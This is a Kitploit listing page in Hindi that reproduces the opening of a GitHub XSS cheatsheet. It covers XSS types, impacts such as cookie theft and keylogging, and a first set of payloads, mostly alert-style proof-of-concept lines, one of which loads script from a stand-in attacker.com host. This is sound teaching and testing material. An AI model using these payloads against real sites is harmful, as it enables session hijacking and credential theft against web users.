Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
xss-cheatsheet — प्रतिबिंबित, संग्रहीत, DOM और ब्लाइंड पेलोड, फ़िल्टर बायपास, WAF एवेज़न, CSP बायपास, mXSS, और वास्तविक दुनिया के CVE केस अध्ययनों को कवर करने वाला व्यापक XSS संदर्भ। | Kitploit
उपकरण/GitHubGitHub/ardakocadoru/xss-cheatsheet
वेब भेद्यता स्कैनरपेलोड जनरेशनभेद्यता विश्लेषणवेब एप्लिकेशन शोषणWAF बाईपासवेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाचयनित संसाधन
GitHubardakocadoru/xss-cheatsheet

xss-cheatsheet

प्रतिबिंबित, संग्रहीत, DOM और ब्लाइंड पेलोड, फ़िल्टर बायपास, WAF एवेज़न, CSP बायपास, mXSS, और वास्तविक दुनिया के CVE केस अध्ययनों को कवर करने वाला व्यापक XSS संदर्भ।

2223 महीने पहलेअभी तक समीक्षित नहीं
रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

⚡ XSS Cheatsheet — Cross-Site Scripting संदर्भ

Stars License: MIT PRs Welcome Last Updated Payloads

GitHub पर सबसे व्यापक XSS संदर्भ।
Reflected · Stored · DOM · Blind XSS — payloads, filter bypasses, WAF evasion, CSP bypass, mXSS, prototype pollution chains, और real-world CVEs। 2026 के लिए अद्यतन।

Payloads · Filter Bypass · WAF Evasion · DOM XSS · CSP Bypass · Blind XSS · Advanced · Tools


विषय-सूची

  • XSS क्या है?
  • XSS के प्रकार
  • बुनियादी Payloads
    • क्लासिक Payloads
    • Alert विकल्प
    • कोष्ठक के बिना
    • स्पेस के बिना
    • उद्धरण हटाए गए
  • Filter Bypass
    • केस भिन्नता
    • टैग अस्पष्टीकरण
    • इवेंट हैंडलर सूची
    • HTML एन्कोडिंग
    • JavaScript एन्कोडिंग
    • URL एन्कोडिंग
    • दोहरी एन्कोडिंग
    • SVG Payloads
    • HTML5 विशिष्ट
    • Data URI
  • संदर्भ-विशिष्ट Payloads
    • HTML संदर्भ
    • HTML एट्रिब्यूट संदर्भ
    • JavaScript संदर्भ
    • JavaScript स्ट्रिंग संदर्भ
    • URL संदर्भ
    • CSS संदर्भ
    • JSON / टेम्पलेट संदर्भ
  • WAF Evasion
    • Cloudflare Bypass
    • ModSecurity Bypass
    • AWS WAF Bypass
    • सामान्य Evasion
  • CSP Bypass
    • unsafe-inline
    • script-src self
    • CDN Whitelists
    • base-uri अनुपस्थित
    • Dangling Markup के माध्यम से
    • Nonce-आधारित CSP
  • DOM-Based XSS
    • सामान्य Sources
    • सामान्य Sinks
    • DOM XSS Payloads
    • AngularJS Template Injection
  • Blind XSS
  • XSS Polyglots
  • File Upload के माध्यम से XSS
  • HTTP Headers में XSS
  • XSS से RCE तक
  • उन्नत तकनीकें
    • mXSS
    • DOM Clobbering
    • Prototype Pollution से XSS
    • CSTI
  • रक्षा
  • वास्तविक दुनिया के CVEs
  • Tools
  • संदर्भ
  • योगदान

🎯 XSS क्या है?

Cross-Site Scripting (XSS) एक क्लाइंट-साइड कोड इंजेक्शन हमला है जिसमें हमलावर एक विश्वसनीय वेब एप्लिकेशन द्वारा प्रदान की गई सामग्री में दुर्भावनापूर्ण स्क्रिप्ट इंजेक्ट करता है। जब पीड़ित का ब्राउज़र पेज को रेंडर करता है, तो इंजेक्ट की गई स्क्रिप्ट उसी ओरिजिन की वैध स्क्रिप्ट के समान विशेषाधिकारों के साथ निष्पादित होती है।

XSS क्यों मायने रखता है

XSS लगातार OWASP Top 10 में रहता है क्योंकि प्रभाव गंभीर है और हमले की सतह विशाल है:

प्रभावविवरण
सत्र अपहरणdocument.cookie चुराएं और प्रमाणित सत्रों पर कब्ज़ा करें
खाता अधिग्रहणपीड़ित के सत्र का उपयोग करके जाली अनुरोधों के माध्यम से ईमेल/पासवर्ड बदलें
की-लॉगिंगप्रत्येक कीस्ट्रोक कैप्चर करें, जिसमें पासवर्ड, क्रेडिट कार्ड नंबर शामिल हैं
फ़िशिंगनकली लॉगिन फ़ॉर्म इंजेक्ट करें जो क्रेडेंशियल हमलावर को सबमिट करते हैं
विकृतिगलत सूचना फैलाने या लक्ष्य को शर्मिंदा करने के लिए पेज सामग्री संशोधित करें
मैलवेयर वितरणपीड़ितों को एक्सप्लॉइट किट पर रीडायरेक्ट करें
क्रिप्टो माइनिंगपीड़ित ब्राउज़रों में क्रिप्टोमाइनर चलाएं
SSRF / आंतरिक पोर्ट स्कैनआंतरिक नेटवर्क की जांच के लिए पीड़ित के ब्राउज़र का उपयोग करें
क्रेडेंशियल हार्वेस्टिंगDOM से ऑटोफ़िल किए गए क्रेडेंशियल पढ़ें
स्क्रीनशॉट / वेबकैमgetDisplayMedia() के माध्यम से स्क्रीन कैप्चर करें, getUserMedia() के माध्यम से वेबकैम

समान-मूल नीति और XSS

XSS समान-मूल नीति (SOP) को पराजित करता है। चूंकि दुर्भावनापूर्ण स्क्रिप्ट लक्ष्य मूल से परोसी जाती है, ब्राउज़र इसे विश्वसनीय मानता है। इसका मतलब है कि XSS हमलावर को देता है:

  • DOM तक पूर्ण पढ़ने/लिखने की पहुंच
  • HttpOnly द्वारा संरक्षित नहीं किए गए सभी कुकीज़ तक पहुंच
  • समान मूल के लिए प्रमाणित XHR/fetch अनुरोध करने की क्षमता
  • localStorage और sessionStorage तक पहुंच

🗺️ XSS प्रकार

Cross-Site Scripting (XSS)
│
├── Reflected XSS
│   ├── Payload in request, reflected in response immediately
│   ├── Requires victim to click crafted link
│   ├── Stored: NO — not persistent
│   └── Example: search?q=<script>alert(1)</script>
│
├── Stored XSS (Persistent)
│   ├── Payload stored in database, file, log, etc.
│   ├── Executes on every page load for every victim
│   ├── Stored: YES — most dangerous type
│   └── Example: comment field, profile name, forum post
│
├── DOM-Based XSS
│   ├── Payload processed by client-side JS, never reaches server
│   ├── Source → Sink flow entirely in browser
│   ├── Often missed by server-side WAFs and scanners
│   └── Example: location.hash → innerHTML assignment
│
└── Blind XSS
    ├── Payload executes in a different context than where it's injected
    ├── Fires in admin panels, log viewers, CRM systems
    ├── Time delay between injection and execution (hours/days)
    └── Example: support ticket field that fires in agent dashboard
प्रकारस्थायित्वकिसे निशाना बनाया जाता हैसर्वर पेलोड देखता है?
परावर्तित (Reflected)नहींलक्षित पीड़ितहाँ
संग्रहीत (Stored)हाँसभी आगंतुकहाँ
DOMनहींलक्षित पीड़ितसामान्यतः नहीं
ब्लाइंड (Blind)हाँ (रिमोट)एडमिन / बैकएंड उपयोगकर्ताहाँ (इंजेक्शन बिंदु पर)

💥 बुनियादी पेलोड

क्लासिक

वे आधारभूत पेलोड जिन्हें हर सुरक्षा शोधकर्ता जानता है। ये वहाँ काम करते हैं जहाँ कोई फ़िल्टरिंग मौजूद नहीं है।

<!-- Standard script tag -->
<script>alert(1)</script>

<!-- With domain in alert for proof-of-concept -->
<script>alert(document.domain)</script>

<!-- Cookie theft proof-of-concept -->
<script>alert(document.cookie)</script>

<!-- Script with src — load external JS -->
<script src=https://attacker.com/xss.js></script>

<!-- With type attribute -->
<script type="text/javascript">alert(1)</script>

<!-- Newline in script tag -->
<script>
alert(1)
</script>

<!-- Multiple statements -->
<script>var x=1;alert(x)</script>

<!-- Using window.alert -->
<script>window.alert(1)</script>

<!-- With character reference -->
<script>alert&#40;1&#41;</script>

<!-- IIFE (Immediately Invoked Function Expression) -->
<script>(function(){alert(1)})()</script>

<!-- Arrow function -->
<script>(() => alert(1))()</script>

अलर्ट विकल्प (जब alert अवरुद्ध हो)

कई आधुनिक एप्लिकेशन और WAF alert शब्द को अवरुद्ध कर देते हैं। इन विकल्पों का उपयोग करें:

// confirm() — shows OK/Cancel dialog
<script>confirm(1)</script>

// prompt() — shows input dialog  
<script>prompt(1)</script>

// console.log() — silent, check browser console
<script>console.log(document.cookie)</script>
टूल डाउनलोड करें